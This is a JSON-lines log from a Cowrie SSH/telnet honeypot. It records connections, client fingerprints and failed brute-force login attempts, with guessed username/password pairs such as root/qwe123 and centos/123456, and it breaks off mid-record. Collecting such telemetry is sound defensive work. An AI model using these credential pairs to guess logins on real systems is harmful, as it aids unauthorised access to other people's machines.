{"eventid":"cowrie.login.failed","username":"user","password":"dragon13","message":"login attempt [user/dragon13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:56.764261Z","src_ip":"2.57.121.25","session":"017c43a9cdf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38694,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d373f7bc59d","protocol":"ssh","message":"New connection: 47.86.95.62:38694 (10.17.0.5:22) [session: 6d373f7bc59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:57.260734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:57.463808Z","src_ip":"47.86.95.62","session":"6d373f7bc59d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:57.599286Z","src_ip":"47.86.95.62","session":"6d373f7bc59d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"douglas1","message":"login attempt [user/douglas1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:57.871208Z","src_ip":"2.57.121.25","session":"017c43a9cdf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"doodie","message":"login attempt [user/doodie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:37:58.978565Z","src_ip":"2.57.121.25","session":"017c43a9cdf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:00.086771Z","src_ip":"2.57.121.25","session":"017c43a9cdf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:04.460932Z","src_ip":"47.86.95.62","session":"6d373f7bc59d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:06.267303Z","src_ip":"47.86.95.62","session":"6d373f7bc59d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42062,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dfd70fd341c","protocol":"ssh","message":"New connection: 47.86.95.62:42062 (10.17.0.5:22) [session: 9dfd70fd341c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:11.533192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:11.729574Z","src_ip":"47.86.95.62","session":"9dfd70fd341c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:11.915874Z","src_ip":"47.86.95.62","session":"9dfd70fd341c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:13.497014Z","src_ip":"47.86.95.62","session":"9dfd70fd341c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:14.710173Z","src_ip":"47.86.95.62","session":"9dfd70fd341c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42068,"dst_ip":"10.17.0.5","dst_port":22,"session":"51dfc192429e","protocol":"ssh","message":"New connection: 47.86.95.62:42068 (10.17.0.5:22) [session: 51dfc192429e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:17.969441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:17.974437Z","src_ip":"47.86.95.62","session":"51dfc192429e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:18.467103Z","src_ip":"47.86.95.62","session":"51dfc192429e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:19.081680Z","src_ip":"47.86.95.62","session":"51dfc192429e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:20.309104Z","src_ip":"47.86.95.62","session":"51dfc192429e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":49232,"dst_ip":"10.17.0.5","dst_port":22,"session":"73b1ae84bed3","protocol":"ssh","message":"New connection: 141.11.21.145:49232 (10.17.0.5:22) [session: 73b1ae84bed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:27.980990Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:28.065296Z","src_ip":"141.11.21.145","session":"73b1ae84bed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":49242,"dst_ip":"10.17.0.5","dst_port":22,"session":"249180547f90","protocol":"ssh","message":"New connection: 141.11.21.145:49242 (10.17.0.5:22) [session: 249180547f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:28.134915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:28.142562Z","src_ip":"141.11.21.145","session":"249180547f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:28.221653Z","src_ip":"141.11.21.145","session":"249180547f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dell","password":"admin@2015","message":"login attempt [dell/admin@2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:28.459353Z","src_ip":"141.11.21.145","session":"249180547f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:29.540772Z","src_ip":"141.11.21.145","session":"249180547f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33346,"dst_ip":"10.17.0.5","dst_port":22,"session":"5855078d1087","protocol":"ssh","message":"New connection: 47.86.95.62:33346 (10.17.0.5:22) [session: 5855078d1087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:42.053559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:42.367919Z","src_ip":"47.86.95.62","session":"5855078d1087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:42.373251Z","src_ip":"47.86.95.62","session":"5855078d1087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:46.030317Z","src_ip":"47.86.95.62","session":"5855078d1087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:47.242655Z","src_ip":"47.86.95.62","session":"5855078d1087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44508,"dst_ip":"10.17.0.5","dst_port":22,"session":"b582f1130244","protocol":"ssh","message":"New connection: 47.86.95.62:44508 (10.17.0.5:22) [session: b582f1130244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:51.082079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:51.090424Z","src_ip":"47.86.95.62","session":"b582f1130244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:51.304260Z","src_ip":"47.86.95.62","session":"b582f1130244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:51.946190Z","src_ip":"47.86.95.62","session":"b582f1130244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:38:53.377050Z","src_ip":"47.86.95.62","session":"b582f1130244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00424385070801,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:02.157173Z","src_ip":"187.222.242.146","session":"567a05c24406","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00281047821045,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:03.569391Z","src_ip":"187.222.242.146","session":"d6494132595b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53576,"dst_ip":"10.17.0.5","dst_port":22,"session":"b932b2bdabc2","protocol":"ssh","message":"New connection: 47.86.95.62:53576 (10.17.0.5:22) [session: b932b2bdabc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:17.996615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:18.146746Z","src_ip":"47.86.95.62","session":"b932b2bdabc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:18.573884Z","src_ip":"47.86.95.62","session":"b932b2bdabc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:22.350052Z","src_ip":"47.86.95.62","session":"b932b2bdabc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:24.019373Z","src_ip":"47.86.95.62","session":"b932b2bdabc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":45840,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4ea77589cc1","protocol":"telnet","message":"New connection: 187.222.242.146:45840 (159.203.135.109:23) [session: a4ea77589cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:25.114899Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55980,"dst_ip":"10.17.0.5","dst_port":22,"session":"258d72217099","protocol":"ssh","message":"New connection: 47.86.95.62:55980 (10.17.0.5:22) [session: 258d72217099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:27.846177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:27.851045Z","src_ip":"47.86.95.62","session":"258d72217099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac